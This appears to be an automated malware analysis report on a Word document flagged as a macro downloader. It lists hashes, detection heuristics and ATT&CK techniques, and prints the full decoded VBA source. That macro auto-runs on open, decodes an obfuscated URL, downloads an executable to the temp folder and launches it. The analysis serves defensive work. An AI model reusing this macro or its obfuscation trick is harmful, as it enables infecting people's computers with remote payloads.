Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4d667d8ffbbbe54a…

MALICIOUS

Office (OLE)

28.5 KB Created: 2014-11-24 11:39:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: fea2f5617fdf6f672ee117574734f859 SHA-1: 1af1fcdbe2289776f76bac015f77c7209ffc970f SHA-256: 4d667d8ffbbbe54a209d59ac61f791efcbf9982a712ac3c7da067a1b1ce7ec77
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros that utilize the URLDownloadToFile API to download a second-stage payload. The macro attempts to construct a URL by concatenating obfuscated strings, likely to evade static detection. The AutoOpen and Workbook_Open subroutines are present, indicating that the macro will execute automatically when the document is opened. The downloaded payload is saved to a temporary executable file.

Heuristics 10

  • ClamAV: Doc.Downloader.Macr-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macr-2
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        gffUYUdfg = Shell(ewwfgfdg, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        ewwfgfdg = Environ(StrReverse("PMET")) & StrReverse("exe.fdsfsd\")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2201 bytes
SHA-256: 50a7a00f0419d61e60e66b0874234e987bf1bd1959e2242b5e5e7fae55b11de7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal JVHsdfdsf As LongPtr, _
    ByVal reewrgsdfg As String, _
    ByVal hjdfgdf As String, _
    ByVal werwe As Long, _
    ByVal iudfgdf As LongPtr) As LongPtr
#Else

    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal JVHsdfdsf As Long, _
    ByVal reewrgsdfg As String, _
    ByVal hjdfgdf As String, _
    ByVal werwe As Long, _
    ByVal iudfgdf As Long) As Long
#End If


Sub uiwefds()
UGivgHgfdg
End Sub
Sub AutoOpen()
    uiwefds
End Sub
Sub Workbook_Open()
    uiwefds
End Sub
Sub UGivgHgfdg()
    ewrwefdsf = kVdo("K!Ra#160", 56) & kVdo("K!Ra#172", 56) & kVdo("K!Ra#172", 56) & kVdo("K!Ra#168", 56) & kVdo("K!Ra#114", 56) & kVdo("K!Ra#103", 56) & kVdo("K!Ra#103", 56) & kVdo("K!Ra#155", 56) & kVdo("K!Ra#161", 56) & kVdo("K!Ra#166", 56) & _
kVdo("K!Ra#177", 56) & kVdo("K!Ra#167", 56) & kVdo("K!Ra#173", 56) & kVdo("K!Ra#102", 56) & kVdo("K!Ra#167", 56) & kVdo("K!Ra#170", 56) & kVdo("K!Ra#159", 56) & kVdo("K!Ra#103", 56) & kVdo("K!Ra#162", 56) & kVdo("K!Ra#171", 56) & _
kVdo("K!Ra#103", 56) & kVdo("K!Ra#154", 56) & kVdo("K!Ra#161", 56) & kVdo("K!Ra#166", 56) & kVdo("K!Ra#102", 56) & kVdo("K!Ra#157", 56) & kVdo("K!Ra#176", 56) & kVdo("K!Ra#157", 56)
    ewwfgfdg = Environ(StrReverse("PMET")) & StrReverse("exe.fdsfsd\")
    wqewr = URLDownloadToFile(0&, ewrwefdsf, ewwfgfdg, 0&, 0&)
   Dim gffUYUdfg
    gffUYUdfg = Shell(ewwfgfdg, 1)

End Sub


Public Function kVdo(ByVal yLZy As String, ByVal Cjof As Integer) As String
Dim bcbL As Integer
Dim Lkln, rlys, LBry As String
Lkln = Chr(90 - 15) & Chr(50 - 17)
rlys = Lkln & Chr(100 - 18)
LBry = rlys & Chr(100 - 3) & Chr(50 - 15)
yLZy = Replace(yLZy, LBry, "")
bcbL = CInt(yLZy) - Cjof
ToBE = ToBE & Chr(bcbL)
kVdo = ToBE
End Function